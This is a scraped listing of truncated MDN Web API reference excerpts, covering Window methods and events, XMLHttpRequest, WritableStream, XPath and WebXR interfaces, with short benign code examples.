ct, which has a number of event handlers available for detecting when speech is input through the device's microphone. the speechgrammar interface represents a container for a particular set of grammar that your app should recognise. grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech component that allows programs to read out their text content (normally via the device's default speech synthesiser.) different voice types are represented by speechsynthesisvoice objects, and different parts of text that you want to be spoken are represented by speechsynthesisutterance objects. you can get these spoken by passing them to the speechsynthesis.speak() method. for more details on using these features, see using...
Functions and classes available to Web Workers - Web APIs
pulating such data can be a complex task better suited to be delegated to a web worker. 25 (25) no support no support no support indexeddb database to store records holding simple values and hierarchical objects. 37 (37), 42 (42) for idbcursorwithvalue. 10.0 (yes) 10.1 network information api provides information about the system's connection in terms of general connection type (e.g., 'wifi', 'cellular', etc.). 53.0 (53) only on mobile (yes) only on mobile no support no support notifications allows web pages to control the display of system notifications to the end user 41 (41) ? ? ? performance the performance interface represents timing-related performance information for the given page. 34.
Web Workers API - Web APIs
ilized by a single script), or a sharedworkerglobalscope (in the case of shared workers - workers that are shared between multiple scripts). you can run whatever code you like inside the worker thread, with some exceptions. for example, you can't directly manipulate the dom from inside a worker, or use some default methods and properties of the window object. but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message ...
WheelEvent() - Web APIs
wheeleventinit optional is a wheeleventinit dictionary, having the following fields: "deltax", optional and defaulting to 0.0, is a double representing the horizontal scroll amount in the deltamode unit. "deltay", optional and defaulting to 0.0, is a double representing the vertical scroll amount in the deltamode unit. ...
Window: beforeunload event - Web APIs
ment and its resources are about to be unloaded. the document is still visible and the event is still cancelable at this point. bubbles no cancelable yes interface event event handler property onbeforeunload this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page. if the user confirms, the browser navigates to the new page, otherwise it cancels the navigation. according to the specification, to show the confirmation dialog an event handler should call preventdefault() on the event. however note that not all browsers support this method, and some instead require the event handler to implement one of two legacy methods: assigning a string to the event's returnvalue property...
window.cancelAnimationFrame() - Web APIs
ough a call to window.requestanimationframe(). syntax window.cancelanimationframe(requestid); parameters requestid the id value returned by the call to window.requestanimationframe() that requested the callback. examples var requestanimationframe = window.requestanimationframe || window.mozrequestanimationframe || window.webkitrequestanimationframe || window.msrequestanimationframe; var cancelanimationframe = window.cancelanimationframe || window.mozcancelanimationframe; var start = window.mozanimationstarttime; // only supported in ff. other browsers can use something like date.now(). var myreq; function step(timestamp) { var progress = timestamp - start; d.style.left = math.min(progress / 10, 200) + 'px'; if (progress < 2000) { // it's ...
Window.convertPointFromNodeToPage() - Web APIs
e in whose coordinate system the point specified by nodepoint is described. nodepoint a point object describing a point in node's coordinate system; this point will be converted to the page's coordinate system. return value a point object specifying a point in the page's coordinate system. specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3. it is not present in the current css transforms module level 1 working draft. ...
Window.convertPointFromPageToNode - Web APIs
whose coordinate system the point is to be converted. pagepoint a point object specifying a point in the coordinate system of the page, which is to be converted into the node's coordinate system. return value a point object describing the specified location in the node's coordinate system. specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3. it is not present in the current css transforms module level 1 working draft. ...
Window.crypto - Web APIs
Web › API › Window › crypto
ts methods (and the methods of its child object, subtlecrypto) are not read-only, and therefore vulnerable to attack by polyfill. although window.crypto is available on all windows, the returned crypto object only has one usable feature in insecure contexts: the getrandomvalues() method. in general, you should use this api only in secure contexts. syntax var cryptoobj = window.crypto || window.mscrypto; // for ie 11 value an instance of the crypto interface, providing access to general-purpose cryptography and a strong random-number generator. example this example uses the window.crypto property to access the getrandomvalues() method. javascript genrandomnumbers = function getrandomnumbers() { var array = new uint32array(10); window.crypto.getrandomvalues(array); var randtex...
Window.defaultStatus - Web APIs
obsolete since gecko 23 (firefox 23 / thunderbird 23 / seamonkey 2.20)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. summary gets/sets the status bar text for the given window. syntax var smsg = window.defaultstatus; window.defaultstatus = smsg; parameters smsg is a string containing the text to be displayed by default in the statusbar. example <html> <body onload="window.defaultstatus='hello!';"/> <button onclick="window.confirm('are you sure you want to quit?');">confirm</button> </body> </html> notes to set the status once the window has been opened, use window.status. specification html5 ...
window.dump() - Web APIs
Web › API › Window › dump
ce is not listed in about:config by default, you may need to create it (right-click the content area -> new -> boolean). on windows, you will need a console to actually see anything. if you don't have one already, closing the application and re-opening it with the command line parameter -console should create the console or use -attach-console to use the existing console. on other operating systems, it's enough to launch the application from a terminal. to redirect the console output to a file, run firefox without the -console option and use the syntax to redirect stderr and stdout to a file, i.e.: firefox > console.txt 2>&1 if you would like the console messages to appear in the console you used to launch the application, you can use the gecko console redirector. precompiled binaries ...
Window: error event - Web APIs
v class="controls"> <button id="script-error" type="button">generate script error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); window.addeventlistener('error', (event) => { log.textcontent = log.textcontent + `${event.type}: $...
Window.frames - Web APIs
Web › API › Window › frames
framelist === window evaluates to true. ...
Window: load event - Web APIs
Web › API › Window › load event
is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { windo...
Window.name - Web APIs
Web › API › Window › name
indow.name; window.name = string; example <script> // open a tab with a specific browsing context name const othertab = window.open("url1", "_blank"); if (othertab) othertab.name = "other-tab"; </script> <a href="url2" target="other-tab">this link will be opened in the other tab.</a> notes the name of the window is used primarily for setting targets for hyperlinks and forms. browsing contexts do not need to have names. it has also been used in some frameworks for providing cross-domain messaging (e.g., sessionvars and dojo's dojox.io.windowname) as a more secure alternative to jsonp. modern web applications hosting sensitive data should, however, not rely on window.name for cross-domain messaging but instead utilize the postmessage api. window.name will convert al...
Window: online event - Web APIs
the online event of the window interface is fired when the browser has gained access to the network and the value of navigator.online switches to true. note: this event shouldn't be used to determine the availability of a particular website. network problems or firewalls might still prevent the website from being reached. bubbles no cancelable no interface event event handler property ononline examples // addeventlistener version window.addeventlistener('online', (event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("you are now connected to the network."); }; specifications specification status html living standardthe ...
Obsolete features - Web APIs
this page lists the obsolete windowfeatures parameter of window.open function. directories obsolete since gecko 2 obsolete synonym of personalbar. in ie, it rendered the links bar. supported in gecko up to 1.9.2 and in ie up to 6. fullscreen this feature no longer works in msie 6 sp2 the way it worked in msie 5.x. the windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in msie 5.x. fullscreen always upsets users with large monitor screen or with dual monitor screen. forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users. fullscreen does not really work in msie 6 sp2. personalbar obsolete ...
Window.pageYOffset - Web APIs
condimentum sagittis, enim nunc bibendum nisi, quis varius erat felis sit amet risus.</p> <p>sed non finibus ligula. fusce a magna auctor, molestie nibh eget, sodales felis. donec imperdiet facilisis mi ut aliquam. etiam sodales suscipit urna, eget hendrerit neque elementum a. vivamus fringilla sodales est ut ultricies. nulla convallis congue maximus. nullam consectetur felis vitae ultricies accumsan. mauris at aliquam felis. mauris efficitur tellus massa, id ullamcorper ipsum fermentum eu. aenean mollis dignissim ultrices. nunc gravida, sem sit amet lobortis iaculis, dolor ligula convallis nibh, id condimentum metus libero nec odio. quisque nec ante pretium, viverra neque nec, facilisis risus. duis condimentum sapien non felis cursus blandit. integer euismod lectus a ipsum pellentesque lac...
Window.resizeBy() - Web APIs
Web › API › Window › resizeBy
esizes the current window by a specified amount. syntax window.resizeby(xdelta, ydelta) parameters xdelta is the number of pixels to grow the window horizontally. ydelta is the number of pixels to grow the window vertically. example // shrink the window window.resizeby(-200, -200); notes this method resizes the window relative to its current size. to resize the window in absolute terms, use window.resizeto(). creating and resizing an external window for security reasons, it's no longer possible in firefox for a website to change the default size of a window in a browser if the window wasn’t created by window.open(), or contains more than one tab. see the compatability table for details on the change. even if you create window by window.open() it is not resizable by defau...
Window.scrollX - Web APIs
Web › API › Window › scrollX
lly from the origin, where a positive value means the content is scrolled to the left. if the document is rendered on a subpixel-precise device, then the returned value is also subpixel-precise and may contain a decimal component. if the document isn't scrolled at all left or right, then scrollx is 0. if you need an integer value, you can use math.round() to round it off. in more technical terms, scrollx returns the x coordinate of the left edge of the current viewport. if there is no viewport, the returned value is 0. example this example checks the current horizontal scroll position of the document. if it's greater than 400 pixels, the window is scrolled back to the beginning. if (window.scrollx > 400) { window.scroll(0,0); } notes the pagexoffset property is an alias for the sc...
Window.scrollY - Web APIs
Web › API › Window › scrollY
rtically from the origin, where a positive value means the content is scrolled to upward. if the document is rendered on a subpixel-precise device, then the returned value is also subpixel-precise and may contain a decimal component. if the document isn't scrolled at all up or down, then scrolly is 0. if you need an integer value, you can use math.round() to round it off. in more technical terms, scrolly returns the y coordinate of the top edge of the current viewport. if there is no viewport, the returned value is 0. example // make sure and go down to the second page if (window.scrolly) { window.scroll(0, 0); // reset the scroll position to the top left of the document. } window.scrollbypages(1); notes use this property to check that the document hasn't already been scrolled wh...
Window.sessionStorage - Web APIs
a tab/window ends the session and clears objects in sessionstorage. data stored in sessionstorage is specific to the protocol of the page. in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different sessionstorage object from the same site accessed with https (e.g., https://example.com). the keys and the values are always in the utf-16 domstring format, which uses two bytes per character. as with objects, integer keys are automatically converted to strings. syntax mystorage = window.sessionstorage; value a storage object which can be used to access the current origin's session storage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen...
Window.setImmediate() - Web APIs
: postmessage can be used to trigger an immediate but yielding callback. do note that internet explorer 8 includes a synchronous version of postmessage, which means it cannot be used as a fallback. messagechannel can be used reliably inside of web workers whereas the semantics of postmessage mean it cannot be used there. settimeout(fn, 0) can potentially be used, however as it is clamped to 4ms for timers nested more than 5 levels deep per the html spec, it does not make for a suitable polyfill for the natural immediacy of setimmediate. all of these techniques are incorporated into a robust setimmediate polyfill. specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification. editor's dr...
Window - Web APIs
Web › API › Window
cument.defaultview property. a global variable, window, representing the window in which the script is running, is exposed to javascript code. the window interface is home to a variety of functions, namespaces, objects, and constructors which are not necessarily directly associated with the concept of a user interface window. however, the window interface is a suitable place to include these items that need to be globally available. many of these are documented in the javascript reference and the dom reference. in a tabbed browser, each tab is represented by its own window object; the global window seen by javascript code running within a given tab always represents the tab in which the code is running. that said, even in a tabbed browser, some properties and methods still apply to the ov...
WindowClient.visibilityState - Web APIs
the visibilitystate read-only property of the windowclient interface indicates the visibility of the current client. this value can be one of "hidden", "visible", or "prerender". syntax var myvisstate = windowclient.visibilitystate; value a domstring (see document.visibilitystate for values). example event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service ...
WindowEventHandlers.onhashchange - Web APIs
deventlistener('hashchange', hashhandler, false); overriding the hash this function sets a new hash dynamically, setting it randomly to one of two values. function changehash() { location.hash = (math.random() > 0.5) ? 'location1' : 'location2'; } the hashchange event the dispatched hashchange event has the following properties: field type description newurl domstring the new url to which the window is navigating. oldurl domstring the previous url from which the window was navigated. polyfill for event.newurl and event.oldurl // let this snippet run before your hashchange event binding code if (!window.hashchangeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.de...
WindowOrWorkerGlobalScope.atob() - Web APIs
for example, you can encode, transmit, and decode control characters such as ascii values 0 through 31. for use with unicode or utf-8 strings, see the note on "unicode strings" in the page for btoa(). ...
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
click on the page once. you'll see a message popping up in a second. if you click the page multiple times in one second, the alert only appears once. var alarm = { remind: function(amessage) { alert(amessage); this.timeoutid = undefined; }, setup: function() { if (typeof this.timeoutid === 'number') { this.cancel(); } this.timeoutid = window.settimeout(function(msg) { this.remind(msg); }.bind(this), 1000, 'wake up!'); }, cancel: function() { window.cleartimeout(this.timeoutid); } }; window.onclick = function() { alarm.setup(); }; notes passing an invalid id to cleartimeout() silently does nothing; no exception is thrown. specifications specification status comment html living standardthe definition of '...
WindowOrWorkerGlobalScope.fetch() - Web APIs
on fetch requests with a method of head or get. (this behavior was corrected in firefox 65 — see bug 1508661). headers any headers you want to add to your request, contained within a headers object or an object literal with bytestring values. note that some names are forbidden. body any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object. note that a request using the get or head method cannot have a body. mode the mode you want to use for the request, e.g., cors, no-cors, or same-origin. credentials the request credentials you want to use for the request: omit, same-origin, or include. to automatically send cookies for the current domain, this option must be provided. starting with ch...
Worker - Web APIs
Web › API › Worker
(note: nested workers are not yet implemented in webkit). not all interfaces and functions are available to scripts inside a worker. ...
WorkerGlobalScope.dump() - Web APIs
returns void. example to write an output from your worker to your computer's terminal, you first have to run an instance of firefox started from your command line/terminal. ...
WorkerGlobalScope.importScripts() - Web APIs
these paths are relative to html document base url. return value none. exceptions networkerror imported scripts were not served with a valid javascript mime type (i.e. text/javascript). ...
WorkerNavigator - Web APIs
official name of the browser. do not rely on this property to return the correct value. navigatorid.appversion read only returns the version of the browser as a string. do not rely on this property to return the correct value. navigatorconcurrenthardware.hardwareconcurrencyread only returns the number of logical processor cores available. navigatorlanguage.languageread only returns a domstring representing the language version of the browser. the null value is returned when this is unknown. navigatorlanguage.languagesread only returns an array of domstrings representing the languages known to the user, in order of preference. navigatoronline.onlineread only returns a boolean indicating whether the browser is online. navigatorid.platform read only returns a string represe...
WritableStream.locked - Web APIs
he writable stream is locked. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); writablestream.locked // should return true, as the stream has been locked to a writer specifications specification status comment streamsthe definition of 'locked' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.closed - Web APIs
= new writablestream({ start(controller) { }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); .. // check if the stream is closed writer.closed.then(() => { console.log('writer closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.desiredSize - Web APIs
typeerror the writer’s lock is released. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); ... // return stream's desired size let size = writer.desiredsize; specifications specification status comment streamsthe definition of 'desiredsize' in that specification. living standard initial definition. ...
WritableStreamDefaultWriter.releaseLock() - Web APIs
ters none. return value undefined. examples const writablestream = new writablestream({ write(chunk) { ... }, close() { ... }, abort(err) { ... } }, queuingstrategy); ... const writer = writablestream.getwriter(); ... // release writer's lock on the stream when desired writer.releaselock(); specifications specification status comment streamsthe definition of 'releaselock()' in that specification. living standard initial definition. ...
XMLDocument - Web APIs
the xmldocument interface represents an xml document. it inherits from the generic document and does not add any specific methods or properties to it: nevertheless, several algorithms behave differently with the two types of documents. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-...
HTML in XMLHttpRequest - Web APIs
discourage the synchronous use of xmlhttprequest, html support is not available in the synchronous mode. also, html support is only available if the responsetype property has been set to "document". this limitation avoids wasting time parsing html uselessly when legacy code uses xmlhttprequest in the default mode to retrieve responsetext for text/html resources. also, this limitation avoids problems with legacy code that assumes that responsexml is null for http error pages (which often have a text/html response body). usage retrieving an html resource as a dom using xmlhttprequest works just like retrieving an xml resource as a dom using xmlhttprequest, except you can't use the synchronous mode and you have to explicitly request a document by assigning the string "document" to the respons...
Synchronous and asynchronous requests - Web APIs
} } }; xhr.open("get", url, true); xhr.timeout = timeout; xhr.send(null); } notice the addition of code to handle the "timeout" event by setting the ontimeout handler. usage: function showmessage (message) { console.log(message + this.responsetext); } loadfile("message.txt", 2000, showmessage, "new message!\n"); here, we're specifying a timeout of 2000 ms. note: support for timeout was added in gecko 12.0. synchronous request note: starting with gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27), blink 39.0, and edge 13, synchronous requests on the main thread have been deprecated due to their negative impact on the user experience. synchronous xhr requests often cause hangs on the web. but developers typically don't notice the pr...
XMLHttpRequest() - Web APIs
ze it before calling send() to send the request to the server. non-standard firefox syntax firefox 16 added a non-standard parameter to the constructor that can enable anonymous mode (see bug 692677). setting the mozanon flag to true effectively resembles the anonxmlhttprequest() constructor described in older versions of the xmlhttprequest specification. const request = new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting this flag to true will cause the browser not to expose the origin and user credentials when fetching resources. most important, this means that cookies will not be sent unless explicitly added using setrequestheader. mozsystem boolean: setting this flag to true allows maki...
XMLHttpRequest.open() - Web APIs
d request, or re-initializes an existing one. note: calling this method for an already active request (one for which open() has already been called) is the equivalent of calling abort(). syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc. ignored for non-http(s) urls. url a domstring representing the url to send the request to. async optional an optional boolean parameter, defaulting to true, indicating whether or not to perform the operation asynchronously. if this value is false, the send() method does not return until the response is received. if true, notification of a completed transaction is provided using event listeners. this must be true if the multipart attri...
XMLHttpRequest.overrideMimeType() - Web APIs
s a mime type other than the one provided by the server to be used instead when interpreting the data being transferred in a request. this may be used, for example, to force a stream to be treated and parsed as "text/xml", even if the server does not report it as such. this method must be called before calling send(). syntax xmlhttprequest.overridemimetype(mimetype) parameters mimetype a domstring specifying the mime type to use instead of the one specified by the server. if the server doesn't specify a type, xmlhttprequest assumes "text/xml". return value undefined. example this example specifies a mime type of "text/plain", overriding the server's stated type for the data being received. note: if the server doesn't provide a content-type header, xmlhttprequest assumes that th...
XMLHttpRequest.responseText - Web APIs
while handling an asynchronous request, the value of responsetext always has the current content received from the server, even if it's incomplete because the data has not been completely received yet. ...
XMLHttpRequest.responseType - Web APIs
the response is a blob object containing the binary data. document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data. see html in xmlhttprequest to learn more about using xhr to fetch html content. json the response is a javascript object created by parsing the contents of received data as json. text the response is a text in a domstring object. ms-stream the response is part of a streaming download; this response type is only allowed for download requests, and is only supported by internet explorer. exceptions invalidaccesserror an attempt was made to change the value of responsetype on anxmlhttprequest which is in synchronous mode but not in a worker. for additional details, see synchronous xhr restrictions below...
XMLHttpRequest.send() - Web APIs
er has been set using the setrequestheader(), an accept header with the type "*/*" (any type) is sent. syntax xmlhttprequest.send(body) parameters body optional a body of data to be sent in the xhr request. this can be: a document, in which case it is serialized before being sent. an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object. null if no value is specified for the body, a default value of null is used. the best way to send binary content (e.g. in file uploads) is by using an arraybufferview or blob in conjunction with the send() method. return value undefined. exceptions exception description invalidstateerror send() has already been invoked for the request, ...
XMLHttpRequest.sendAsBinary() - Web APIs
sendasbinary() is a variant of the send() method that sends binary data. the send() method now supports binary data and should now be used instead. this method makes it possible to read and upload any type of file and to stringify the raw data. warning: this method is obsolete and should not be used. you should instead simply use the send() method, which now supports binary data in various forms. syntax xmlhttprequest.sendasbinary(binarystring); parameters binarystring a domstring which encodes the binary content to be sent. you can create the binary string using the filereader method readasbinarystring(). the string is converted to binary for transfer by removing the high-order byte of each character. return value undefined. polyfill since sendasbinary() is an experimental...
XMLHttpRequest.statusText - Web APIs
unlike xmlhttprequest.status which indicates a numerical status code, this property contains the text of the response status, such as "ok" or "not found". if the request's readystate is in unsent or opened state, the value of statustext will be an empty string. if the server response doesn't explicitly specify a status text, statustext will assume the default value "ok". ...
XMLSerializer.serializeToString() - Web APIs
exceptions typeerror the specified rootnode is not a compatible node type. ...
XPathEvaluator.createExpression() - Web APIs
resolver optional permits translation of all prefixes, including the xml namespace prefix, within the xpath expression into appropriate namespace uris. return value a xpathexpression representing the compiled form of the xpath expression. ...
XPathEvaluator.evaluate() - Web APIs
contextnode a node representing the context to use for evaluating the expression. ...
XPathNSResolver.lookupNamespaceURI() - Web APIs
the lookupnamespaceuri method looks up the namespace uri associated to the given namespace prefix within an xpath expression evaluated by the xpathevaluator interface. syntax domstring xpathnsresolver.lookupnamespaceuri(prefix); parameters prefix a domstring representing the prefix to look for. return value a domstring representing the associated namespace uri or null if none is found. specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathnsresolver.lookupnamespaceuri()' in that specification. recommendation initial definition ...
XRInputSource.handedness - Web APIs
the value, which comes from the xrhandedness enumerated type, is one of the following: none the input controller is not associated with one of the user's hands. ...
XRInputSource.profiles - Web APIs
the read-only xrinputsource property profiles returns an array of strings, each describing a configuration profile for the input source. the profile stings are listed in order of specificity, with the most specific profile listed first. note: the profiles list is always empty when the webxr session is in inline mode. syntax let profilelist = xrinputsource.profiles; value an array of domstring objects, each describing one configuration profile for the input device represented by the xrinputsource object. each input profile specifies the preferred visual representation and behavior of the input source. usage notes input profile names an input profile name is a string describing a visual representation and behavior the input source may be configured to use. each string: has no s...
XRInputSource.targetRayMode - Web APIs
the possible values are: gaze the user is using a gaze-tracking system (or gaze input) which detects the direction in which the user is looking. ...
XRInputSourceArray.length - Web APIs
syntax let inputsourcecount = xrinputsourcearray.length; value an integer value indicating the number of xrinputsource objects representing webxr input sources are includled in the array. examples in this example, a game that requires at least one input source uses length to check this before proceeding to allow the user to play the game. ...
XRInputSourceArray - Web APIs
e is the xrinputsource at that index. foreach() iterates over each item in the list, in order from first to last. keys() a list of the keys corresponding to the entries in the input source list. values() returns an iterator you can use to go through all the values in the list. each item is a single xrinputsource object. in addition to these methods, you may use array notation to access items in the list by index for example, the snippet of code below calls a function handleinput(), passing into it the first item in the input source list, if the list isn't empty. let sources = xrsession.inputsources; if (sources.length > 0) { handleinput(sources[0]); } examples specifications specification status comment webxr device apithe definition of 'xrinputsour...
XRInputSourceEvent() - Web APIs
permitted values are listed under event types below. ...
XRInputSourcesChangeEvent() - Web APIs
rinputsourceschangeevent() constructor creates and returns a new xrinputsourceschangeevent object, representing an update to the list of available webxr input devices. you won't typically call this constructor yourself, as these events are created and sent to you by the webxr system. syntax newinputsourceschangeevent = new xrinputsourceschangeevent(type, eventinitdict); parameters type a domstring indicating the type of event which has occurred. this string must always be inputsourceschange. eventinitdict an object conforming to the xrinputsourceschangeeventinit dictionary, prodividing the initial values for the event. return value a newly-created xrinputsourceschangeevent object configured based upon the input parameters provided. event types inputsourceschange delivered to...
XRPermissionDescriptor.mode - Web APIs
ng taken from the xrsessionmode enumerated type, specifying which web xr session mode (inline, immersive-vr, or immersive-ar) the described permissions will be used for. syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.mode = xrsessionmode; xrmode = xrpermissiondescriptor.mode; value a domstring whose value is one of the strings found in the xrsessionmode enumerated type: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the immersive-ar mode is define...
XRPermissionStatus.granted - Web APIs
the webxr device api's xrpermissionstatus interface's granted property is an array of strings, each identifying one of the webxr features for which permission has been granted as of the time at which the permission api's navigator.permissions.query() method was called. syntax grantedfeatures = xrpermissionstatus.granted; value an array of domstring objects, each identifying a single webxr feature which the app or site has been granted permission to use. currently, all of these strings come from the xrreferencespacetype enumerated type. the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar ...
XRPose.emulatedPosition - Web APIs
evice, or it's simulated or computed based on other sources. syntax let emulated = xrpose.emulatedposition; value a boolean which is true if the pose's position is computed based on estimates or is derived from sources other than direct sensor data. if the position is precisely gbased on direct sensor inputs, the value is false. usage notes there are two basic categories of xr tracking systems. a basic xr headset provides three degrees of freedom (3dof), tracking the pitch, yaw, and roll of the user's head. no information is available about movement forward, backward, or to the sides. any such data is taken from other sources, such as keyboard or mouse inputs or game controllers. as such, the position is considered to be emulated, so the emulatedposition property is true. contrariwise...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
t relative to that one, you can call getoffsetreferencespace(), passing into it the position and orientation you want the second object to have relative to the position and orientation of the object on which you call getoffsetreferencespace(). then, when drawing the scene, you can use the offset reference space to not only position objects relative to one another, but to apply the needed transforms to render objects properly based upon the viewer's position. this is demonstrated in the example implementing rotation based on non-xr inputs, which demonstrates a way to use this method to let the user use their mouse to pitch and yaw their viewing angle. syntax offsetreferencespace = xrreferencespace.getoffsetreferencespace(originoffset); parameters originoffset an xrrigidtransform speci...
XRReferenceSpace: reset event - Web APIs
inate system). the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the immediate vicinity of the last-known position. primarily an issue for unbounded reference spaces. the user is in an unbounded reference space and has moved far enough from the starting position (the reference space's origin) that floating-point or other forms of error or drift are problematic. the coordinate system is thus reset with its new origin at or near the user's current position. the webxr infrastructure or hardware drivers detected that the device had temporarily lost tracking, causing the hardware and software to be out of sync on position and orientation. note: a reset event will not occur if the reference space is able to regain tracki...
XRReferenceSpaceEvent() - Web APIs
the xrreferencespaceevent() constructor is used to create a new xrreferencespaceevent object, which represents an event regarding the state of a webxr reference space object, xrreferencespace. currently, only the reset event is defined using this type. syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type which has occurred. currently, this is always reset. eventinitdict an object based on the xrreferencespaceeventinit dictionary, containing data used to initialize the new event object. the properties of this object are: referencespace the xrreferencespace from which the event originated. transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this...
XRReferenceSpaceEvent - Web APIs
relative to the coordinate system before the event. methods while xrreferencespaceevent does not define any methods, it inherits the methods of its parent interface, event. event types reset the reset event is sent to a reference space when its native origin is changed due to a discontinuity, recalibration, or device reset. this is an opportunity for your app to update any stored transforms, position/orientation information, or the like—or to dump any cached values based on the reference's space's origin so you can recompute them as needed. specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent' in that specification. working draft initial definition. ...
XRRigidTransform() - Web APIs
syntax let xrrigidtransform = new xrrigidtransform(position, orientation); parameters position optional an object conforming to dompointinit which specifies the coordinates at which the point or object is located. these dimensions are specified in meters. ...
XRRigidTransform - Web APIs
the transform of an xrview. the transform of an xrpose. the xrreferencespaceevent event's transform property, as found in the reset event received by an xrreferencespace. ...
XRSession.requestReferenceSpace() - Web APIs
the requestreferencespace() method of the xrsession interface returns a promise that resolves with an instance of either xrreferencespace or xrboundedreferencespace as appropriate given the type of reference space requested. syntax refspacepromise = xrsession.requestreferencespace(referencespacetype); parameters type a domstring specifying the type of reference space for which an instance is to be returned. the string must be one of those found in the xrreferencespacetype enumerated type. the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the table below indicates which of the two types is returned for each reference space type constant.. reference space descriptors the types of ref...
XRSession.visibilityState - Web APIs
the read-only visibilitystate property of the xrsession interface is a string indicating whether the webxr content is currently visible to the user, and if it is, whether it's the primary focus. every time the visibility state changes, a visibilitychange event is fired on the xrsession object. syntax visibilitystate = xrsession.visibilitystate; value a domstring containing one of the values defined in the enumerated type xrvisibilitystate; this string indicates whether or not the xr content is visible to the user and if it is, whether or not it's currently the primary focus. the possible values of visibilitystate are: hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() callbacks are not being executed u...
XRSessionEvent() - Web APIs
the webxr device api's xrsessionevent() constructor creates and returns a new xrsessionevent object. these objects represent events announcing state changes in an xrsession representing an augmented or virtual reality session. syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent this particular object represents. see event types for a list of the permitted values. eventinitdict an object conforming to the xrsessioneventinit dictionary which contains values to be applied to the newly-created event object. permitted values are: session the xrsession to which the event is to be delivered. return value a newly-created xrsessionevent object representing ...
XRSystem: isSessionSupported() - Web APIs
